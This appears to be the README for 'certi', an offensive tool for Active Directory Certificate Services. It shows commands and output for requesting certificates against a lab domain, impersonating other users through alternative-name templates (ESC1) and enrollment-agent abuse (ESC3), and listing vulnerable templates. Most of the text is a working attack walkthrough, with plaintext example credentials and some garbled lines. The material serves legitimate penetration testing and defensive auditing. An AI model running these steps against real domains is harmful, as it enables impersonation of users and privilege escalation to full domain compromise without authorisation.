certi
Utility to play with ADCS, allows to request tickets and collect information about related objects. Basically, it's the impacket copy of Certify. Thanks to @harmj0y and @tifkin_ for its great work with ADCS.
Request a certificate
To request a certificate you can use the req command:
$ getTGT.py 'contoso.local/Anakin:Vader1234!'ader1234!'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Saving ticket in Anakin.ccache
$ export KRB5CCNAME=Anakin.ccache
$ certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n
[*] Service: contoso-DC01-CA
[*] Template: User
[*] Username: Anakin
[*] Response: 0x3 Issued 0x80094004, The Enrollee (CN=Anakin,CN=Users,DC=contoso,DC=local) has no E-Mail name registered in the Active Directory. The E-Mail name will not be included in the certificate.
[*] Cert subject: CN=Anakin,CN=Users,DC=contoso,DC=local
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 75000000062BD9D6E3F1B15CC3000000000006
[*] Cert Extended Key Usage: Encrypting File System, Secure Email, Client Authentication
[*] Saving certificate in Anakin.pfx (password: admin)
As you may notice, you need to use Kerberos, since is the authentication method required by enrollment services. In case using other method you will get the following error:
(certi) certi$ certi.py req 'contoso.local/Anakin:[email protected]' contoso-DC01-CA
Error: WCCE SessionError: code: 0x80094011 - CERTSRV_E_ENROLL_DENIED - The permissions on this CA do not allow the current user to enroll for certificates.
Help: Try using Kerberos authentication with -k -n params
Request with an alternative name
You can use the --alt-name parameter to give an alternative subject and request a certificate that can be used to impersonate the target user if some template allows you to do that:
$ certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
[*] Service: contoso-DC01-CA
[*] Template: UserSAN
[*] Username: Anakin
[*] Alternative Name: han
[*] Response: 0x3 Issued
[*] Cert subject: CN=Anakin
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 750000000A858CC4B4C9301ED600000000000A
[*] Cert Extended Key Usage: Encrypting File System, Secure Email, Client Authentication
[+] Cert Altname: [email protected]
[*] Saving certificate in [email protected] (password: admin)
You can get the templates vulnerable to this by using the --vuln and --enable params of the list command (be sure ):
$ certi.py list 'contoso.local/Anakin' -k -n --dc-ip 192.168.100.2 --vuln --enable | grep ESC1 -B 3
Name: SubCA
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC1 - SAN Impersonation, ESC2 - Any Purpose, ESC3.2 - Use Agent Certificate
--
Name: UserSAN
Schema Version: 2
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC1 - SAN Impersonation
Request as an enrollment agent
In case the available templates allows you to do that, you can request a certificate for an enrollment agent and then use it to request a certificate for another user:
$ certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --template EnrollAgent
[*] Service: contoso-DC01-CA
[*] Template: EnrollAgent
[*] Username: Han
[*] Response: 0x3 Issued
[*] Cert subject: CN=Han
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 75000000256F1BB99993785823000000000025
[*] Cert Extended Key Usage: Certificate Request Agent
[*] Saving certificate in Han.pfx (password: admin)
$ certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --on-behalf anakin --enroll-cert Han.pfx --enroll-cert-pw admin --template EnrollWithAgent
[*] Service: contoso-DC01-CA
[*] Template: EnrollWithAgent
[*] Username: Han
[*] On behalf of: anakin
[*] Response: 0x3 Issued
[*] Cert subject: CN=anakin
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 750000002AB527D8E1E64930DC00000000002A
[*] Cert Extended Key Usage: Any Purpose, Certificate Request Agent, Encrypting File System, Secure Email, Client Authentication
[*] Saving certificate in anakin.pfx (password: admin)
You can check for templates vulnerable to these misconfigurations with the list command (we are that permissions may restrict you from request a certificate for a given template):
$ certi.py list 'contoso.local/Han' -k -n --dc-ip 192.168.100.2 --vuln --enable | grep ESC3 -B 3
Name: User
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: Administrator
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: Machine
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: DomainController
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: SubCA
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC1 - SAN Impersonation, ESC2 - Any Purpose, ESC3.2 - Use Agent Certificate
--
Name: EnrollAgent
Schema Version: 2
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: EnrollwithAgent
Schema Version: 2
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
List services
$ certi.py list 'contoso.local/Han' -k -n --class service
[*] Enrollment Services
Name: contoso-DC01-CA
DNS name: dc01.contoso.local
Templates: EnrollwithAgent, EnrollAgent, UserSAN, DirectoryEmailReplication, DomainControllerAuthentication, KerberosAuthentication, EFSRecovery, EFS, DomainController, WebServer, Machine, User, SubCA, Administrator
Certificate:
Cert Subject: CN=contoso-DC01-CA,DC=contoso,DC=local
Cert Serial: 23D21EB948AC688545EC15FEB03B0C33
Cert Start: 2021-08-01 12:49:46
Cert End: 2026-08-01 12:59:46
Cert Issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
List CAs
$ certi.py list 'contoso.local/Han' -k -n --dc-ip 192.168.100.2 --class ca
[*] Root CAs
Cert Subject: CN=contoso-DC01-CA,DC=contoso,DC=local
Cert Serial: 23D21EB948AC688545EC15FEB03B0C33
Cert Start: 2021-08-01 12:49:46
Cert End: 2026-08-01 12:59:46
Cert Issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Authority Information Access
Cert Subject: CN=contoso-DC01-CA,DC=contoso,DC=local
Cert Serial: 23D21EB948AC688545EC15FEB03B0C33
Cert Start: 2021-08-01 12:49:46
Cert End: 2026-08-01 12:59:46
Cert Issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
3 Jun 06, 2021
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